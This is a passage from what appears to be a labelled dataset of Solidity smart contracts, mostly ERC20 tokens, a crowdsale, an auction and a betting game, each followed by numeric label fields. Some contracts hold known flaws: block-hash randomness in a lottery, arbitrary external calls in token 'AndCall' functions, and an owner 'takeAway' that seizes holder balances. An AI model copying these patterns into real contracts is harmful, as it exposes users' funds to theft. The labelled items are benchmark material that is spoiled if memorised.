emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished = false;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() { require(!mintingFinished); _; }
modifier hasMintPermission() { require(msg.sender == owner); _; }
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) public returns(bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public {
require(_to != address(0));
require(address(this).balance >= _value);
_to.transfer(_value);
}
function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public {
require(_token.transfer(_to, _value));
}
function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public {
require(_token.transferFrom(_from, _to, _value));
}
function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public {
require(_token.approve(_spender, _value));
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Manageable is Ownable {
address[] public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(isManager(msg.sender)); _; }
function countManagers() view public returns(uint) {
return managers.length;
}
function getManagers() view public returns(address[]) {
return managers;
}
function isManager(address _manager) view public returns(bool) {
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
return true;
}
}
return false;
}
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
require(!isManager(_manager));
managers.push(_manager);
emit ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(isManager(_manager));
uint index = 0;
for(uint i = 0; i < managers.length; i++) {
if(managers[i] == _manager) {
index = i;
}
}
for(; index < managers.length - 1; index++) {
managers[index] = managers[index + 1];
}
managers.length--;
emit ManagerRemoved(_manager);
}
}
contract Token is CappedToken, BurnableToken, Withdrawable {
constructor() CappedToken(250000000e8) StandardToken("СRB token", "СRB", 8) public {
}
}
contract Crowdsale is Manageable, Withdrawable, Pausable {
using SafeMath for uint;
Token public token;
bool public crowdsaleClosed = false;
event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount);
event CrowdsaleClose();
constructor() public {
token = new Token();
}
function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public {
token.mint(_to, _tokens);
emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens);
}
function closeCrowdsale(address _to) onlyOwner public {
require(!crowdsaleClosed);
token.finishMinting();
token.transferOwnership(_to);
crowdsaleClosed = true;
emit CrowdsaleClose();
}
} | 1 | 2,648 |
pragma solidity ^0.4.18;
contract TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ApproveAndCallToken is StandardToken {
function approveAndCall(address _spender, uint _value, bytes _data) public returns (bool) {
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _data);
return true;
}
return false;
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return super.transfer(_to, _value);
}
}
function isContract(address _addr) private view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
return approveAndCall(_to, _value, _data);
}
}
contract UserRegistryInterface {
event AddAddress(address indexed who);
event AddIdentity(address indexed who);
function knownAddress(address _who) public constant returns(bool);
function hasIdentity(address _who) public constant returns(bool);
function systemAddresses(address _to, address _from) public constant returns(bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenPolicy is StandardToken, Ownable {
bool public unfrozen;
UserRegistryInterface public userRegistry;
function TokenPolicy(address registry) public {
require(registry != 0x0);
userRegistry = UserRegistryInterface(registry);
}
event Unfrezee();
modifier shouldPassPolicy(address _from, address _to) {
require(
!userRegistry.knownAddress(_from) ||
userRegistry.hasIdentity(_from) ||
userRegistry.systemAddresses(_to, _from));
require(unfrozen || userRegistry.systemAddresses(_to, _from));
_;
}
function transfer(address _to, uint256 _value) shouldPassPolicy(msg.sender, _to) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) shouldPassPolicy(_from, _to) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function unfrezee() onlyOwner public returns (bool) {
require(!unfrozen);
unfrozen = true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract DefaultToken is MintableToken, TokenPolicy, ApproveAndCallToken {
using SafeMath for uint;
string public name;
string public ticker;
uint public decimals;
function DefaultToken(string _name, string _ticker, uint _decimals, address _registry)
ApproveAndCallToken()
MintableToken()
TokenPolicy(_registry) public {
name = _name;
ticker = _ticker;
decimals = _decimals;
}
function takeAway(address _holder, address _to) onlyOwner public returns (bool) {
require(userRegistry.knownAddress(_holder) && !userRegistry.hasIdentity(_holder));
uint allBalance = balances[_holder];
balances[_to] = balances[_to].add(allBalance);
balances[_holder] = 0;
Transfer(_holder, _to, allBalance);
}
}
contract AltToken is DefaultToken {
function AltToken(address _registry) DefaultToken("AltEstate token", "ALT", 18, _registry) public {
}
} | 1 | 4,310 |
pragma solidity ^0.4.19;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract EtheremonAdventurePresale is BasicAccessControl {
uint8 constant NO_ETH_SITE = 52;
uint8 constant MAX_BID_PER_SITE = 2;
using AddressUtils for address;
struct BiddingInfo {
address bidder;
uint32 bidId;
uint amount;
uint time;
uint8 siteId;
}
address public tokenContract;
uint32 public totalBid = 0;
uint public startTime;
uint public endTime;
uint public bidETHMin;
uint public bidETHIncrement;
uint public bidEMONTMin;
uint public bidEMONTIncrement;
mapping(uint32 => BiddingInfo) bids;
mapping(uint8 => uint32[]) sites;
event EventPlaceBid(address indexed bidder, uint8 siteId, uint32 bidId, uint amount);
modifier requireTokenContract {
require(tokenContract != address(0));
_;
}
modifier validETHSiteId(uint8 _siteId) {
require(_siteId > 0 && _siteId <= NO_ETH_SITE);
_;
}
modifier validEMONTSiteId(uint8 _siteId) {
require(_siteId == 53 || _siteId == 54);
_;
}
modifier onlyRunning {
require(!isMaintaining);
require(block.timestamp >= startTime && block.timestamp < endTime);
_;
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators public {
if (block.timestamp < endTime)
revert();
if (_amount > this.balance) {
revert();
}
_sendTo.transfer(_amount);
}
function withdrawToken(address _sendTo, uint _amount) onlyModerators requireTokenContract external {
if (block.timestamp < endTime)
revert();
ERC20Interface token = ERC20Interface(tokenContract);
if (_amount > token.balanceOf(address(this))) {
revert();
}
token.transfer(_sendTo, _amount);
}
function EtheremonAdventurePresale(uint _bidETHMin, uint _bidETHIncrement, uint _bidEMONTMin, uint _bidEMONTIncrement, uint _startTime, uint _endTime, address _tokenContract) public {
if (_startTime >= _endTime) revert();
startTime = _startTime;
endTime = _endTime;
bidETHMin = _bidETHMin;
bidETHIncrement = _bidETHIncrement;
bidEMONTMin = _bidEMONTMin;
bidEMONTIncrement = _bidEMONTIncrement;
tokenContract = _tokenContract;
}
function placeETHBid(uint8 _siteId) onlyRunning payable external validETHSiteId(_siteId) {
if (msg.sender.isContract()) revert();
if (msg.value < bidETHMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
bid.bidder = msg.sender;
bid.bidId = totalBid;
bid.amount = msg.value;
bid.time = block.timestamp;
bid.siteId = _siteId;
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
if (currentBid.bidder == msg.sender) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
if (msg.value < lowestBid.amount + bidETHIncrement)
revert();
siteBids[lowestIndex] = totalBid;
lowestBid.bidder.transfer(lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == msg.sender)
revert();
}
siteBids.push(totalBid);
}
EventPlaceBid(msg.sender, _siteId, totalBid, msg.value);
}
function placeEMONTBid(address _bidder, uint8 _siteId, uint _bidAmount) requireTokenContract onlyRunning onlyModerators external validEMONTSiteId(_siteId) {
if (_bidder.isContract()) revert();
if (_bidAmount < bidEMONTMin) revert();
uint index = 0;
totalBid += 1;
BiddingInfo storage bid = bids[totalBid];
uint32[] storage siteBids = sites[_siteId];
if (siteBids.length >= MAX_BID_PER_SITE) {
uint lowestIndex = 0;
BiddingInfo storage currentBid = bids[siteBids[0]];
BiddingInfo storage lowestBid = currentBid;
for (index = 0; index < siteBids.length; index++) {
currentBid = bids[siteBids[index]];
if (currentBid.bidder == _bidder) {
revert();
}
if (lowestBid.amount == 0 || currentBid.amount < lowestBid.amount || (currentBid.amount == lowestBid.amount && currentBid.bidId > lowestBid.bidId)) {
lowestIndex = index;
lowestBid = currentBid;
}
}
if (_bidAmount < lowestBid.amount + bidEMONTIncrement)
revert();
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids[lowestIndex] = totalBid;
ERC20Interface token = ERC20Interface(tokenContract);
token.transfer(lowestBid.bidder, lowestBid.amount);
} else {
for (index = 0; index < siteBids.length; index++) {
if (bids[siteBids[index]].bidder == _bidder)
revert();
}
bid.bidder = _bidder;
bid.bidId = totalBid;
bid.amount = _bidAmount;
bid.time = block.timestamp;
siteBids.push(totalBid);
}
EventPlaceBid(_bidder, _siteId, totalBid, _bidAmount);
}
function getBidInfo(uint32 _bidId) constant external returns(address bidder, uint8 siteId, uint amount, uint time) {
BiddingInfo memory bid = bids[_bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
function getBidBySiteIndex(uint8 _siteId, uint _index) constant external returns(address bidder, uint32 bidId, uint8 siteId, uint amount, uint time) {
bidId = sites[_siteId][_index];
if (bidId > 0) {
BiddingInfo memory bid = bids[bidId];
bidder = bid.bidder;
siteId = bid.siteId;
amount = bid.amount;
time = bid.time;
}
}
function countBid(uint8 _siteId) constant external returns(uint) {
return sites[_siteId].length;
}
function getLowestBid(uint8 _siteId) constant external returns(uint lowestAmount) {
uint32[] storage siteBids = sites[_siteId];
lowestAmount = 0;
for (uint index = 0; index < siteBids.length; index++) {
if (lowestAmount == 0 || bids[siteBids[index]].amount < lowestAmount) {
lowestAmount = bids[siteBids[index]].amount;
}
}
}
} | 0 | 2,042 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) internal onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TradeFeeCalculator is Ownable {
using SafeMath for uint256;
uint256[3] public exFees;
function TradeFeeCalculator() public {
owner = msg.sender;
}
function updateFeeSchedule(uint256 _baseTokenFee, uint256 _etherFee, uint256 _normalTokenFee) public onlyOwner {
require(_baseTokenFee >= 0 && _baseTokenFee <= 1 * 1 ether);
require(_etherFee >= 0 && _etherFee <= 1 * 1 ether);
require(_normalTokenFee >= 0);
require(exFees.length == 3);
exFees[0] = _baseTokenFee;
exFees[1] = _etherFee;
exFees[2] = _normalTokenFee;
}
function calcTradeFee(uint256 _value, uint256 _feeIndex) public view returns (uint256) {
require(_feeIndex >= 0 && _feeIndex <= 2);
require(_value > 0 && _value >= 1* 1 ether);
require(exFees.length == 3 && exFees[_feeIndex] > 0 );
uint256 _totalFees = (_value.mul(exFees[_feeIndex])).div(1 ether);
require(_totalFees > 0);
return _totalFees;
}
function calcTradeFeeMulti(uint256[] _values, uint256[] _feeIndexes) public view returns (uint256[]) {
require(_values.length > 0);
require(_feeIndexes.length > 0);
require(_values.length == _feeIndexes.length);
require(exFees.length == 3);
uint256[] memory _totalFees = new uint256[](_values.length);
for (uint256 i = 0; i < _values.length; i++){
_totalFees[i] = calcTradeFee(_values[i], _feeIndexes[i]);
}
require(_totalFees.length > 0);
require(_values.length == _totalFees.length);
return _totalFees;
}
} | 1 | 4,180 |
pragma solidity 0.4.18;
contract ERC20 {
function transfer(address _to, uint256 _value) public returns(bool);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract BetWEA {
function BetWEA(address _tokenAddr, uint _limit) public {
tokenAddr = _tokenAddr;
token = ERC20(_tokenAddr);
limit = _limit;
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;}
address public tokenAddr = 0x0;
ERC20 token;
address public owner;
address[] ParticipantesA;
address[] ParticipantesB;
uint maximo;
uint public winnerid;
uint public minimowea = 10000;
uint public limit;
uint r = 0;
uint public precioether = 2000000000000000;
uint public discount = 60;
uint public percent = 95;
uint public Wp= precioether*discount/100;
uint public preciowea = 10000;
function ChooseA() public payable {
require((r==0) && (now < limit));
if(token.balanceOf(msg.sender) > minimowea){
require(msg.value == Wp);
ParticipantesA.push(msg.sender);
} else {
require(msg.value == precioether);
ParticipantesA.push(msg.sender);
}
}
function ChooseB() public payable {
require((r==0) && (now < limit));
if(token.balanceOf(msg.sender) > minimowea){
require(msg.value == Wp);
ParticipantesB.push(msg.sender);
} else {
require(msg.value == precioether);
ParticipantesB.push(msg.sender);
}
}
function ChooseAwea() public {
require((r==0) && (now < limit));
require(token.transferFrom(msg.sender, this, preciowea));
ParticipantesA.push(msg.sender);
}
function ChooseBwea() public {
require((r==0) && (now < limit));
require(token.transferFrom(msg.sender, this, preciowea));
ParticipantesB.push(msg.sender);
}
function setWinner(uint Resultado) public onlyOwner {
uint ethtransfer = this.balance*percent/100;
require(r == 0);
if(Resultado == 1){
maximo = ParticipantesA.length;
winnerid = rand(maximo);
r = 1;
token.transfer(ParticipantesA[winnerid], token.balanceOf(this));
ParticipantesA[winnerid].transfer(ethtransfer);
} else if(Resultado == 2) {
maximo = ParticipantesB.length;
winnerid = rand(maximo);
r = 2;
token.transfer(ParticipantesB[winnerid], token.balanceOf(this));
ParticipantesB[winnerid].transfer(ethtransfer);
} else { revert();}
}
function Clean() public onlyOwner {
ParticipantesA.length = 0;
ParticipantesB.length = 0;
winnerid = 0;
r = 0;
}
function setLimit(uint _limit) public onlyOwner {
limit = _limit;
}
function setNEW(address _tokenAddr,
uint _preciowea,
uint _precioether,
uint _discount,
uint _minimowea) public onlyOwner {
tokenAddr = _tokenAddr;
precioether = _precioether;
preciowea = _preciowea;
discount = _discount;
minimowea = _minimowea;
}
function sacarETH() public onlyOwner {
owner.transfer(this.balance);
}
function sacarWEA() public onlyOwner {
token.transfer(owner, token.balanceOf(this));
}
function getParticipantesA() view public returns(address[]) {
return ParticipantesA;
}
function getParticipantesB() view public returns(address[]) {
return ParticipantesB;
}
function getWinner() view public returns(address) {
if(r == 1){
return ParticipantesA[winnerid];
} else if(r==2){
return ParticipantesB[winnerid];
} else { revert(); }
}
function() public payable {
}
uint256 constant private FACTOR = 115792089;
function rand(uint max) constant private returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
} | 1 | 3,456 |
pragma solidity ^0.4.23;
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(address(this).balance));
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CheckpointStorage {
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
Checkpoint[] public totalSupplyHistory;
function getValueAt(Checkpoint[] storage checkpoints, uint _block) internal view returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length - 1].fromBlock)
return checkpoints[checkpoints.length - 1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length - 1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock <= _block) {
min = mid;
} else {
max = mid - 1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1];
oldCheckPoint.value = uint128(_value);
}
}
}
contract SatisfactionToken is ERC20, CheckpointStorage, NoOwner {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Burn(address indexed burner, uint256 value);
using SafeMath for uint256;
string public name = "Satisfaction Token";
uint8 public decimals = 18;
string public symbol = "SAT";
string public version;
SatisfactionToken public parentToken;
uint256 public parentSnapShotBlock;
uint256 public creationBlock;
mapping(address => Checkpoint[]) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
bool public transfersEnabled;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(
address _parentToken,
uint256 _parentSnapShotBlock,
string _tokenVersion,
bool _transfersEnabled) public
{
version = _tokenVersion;
parentToken = SatisfactionToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transfersEnabled);
require(parentSnapShotBlock < block.number);
require(_to != address(0));
uint256 lastBalance = balanceOfAt(msg.sender, block.number);
require(_value <= lastBalance);
return doTransfer(msg.sender, _to, _value, lastBalance);
}
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool) {
require(_to != address(this));
transfer(_to, _value);
require(_to.call.value(msg.value)(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transfersEnabled);
require(parentSnapShotBlock < block.number);
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
uint256 lastBalance = balanceOfAt(_from, block.number);
require(_value <= lastBalance);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return doTransfer(_from, _to, _value, lastBalance);
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
transferFrom(_from, _to, _value);
require(_to.call.value(msg.value)(_data));
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public payable returns (bool) {
require(_spender != address(this));
increaseApproval(_spender, _addedValue);
require(_spender.call.value(msg.value)(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public payable returns (bool) {
require(_spender != address(this));
decreaseApproval(_spender, _subtractedValue);
require(_spender.call.value(msg.value)(_data));
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber) public view returns (uint256) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != address(0)) {
return parentToken.balanceOfAt(_owner, Math.min256(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(Math.min256(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 lastBalance = balanceOf(_to);
updateValueAtNow(totalSupplyHistory, curTotalSupply.add(_amount));
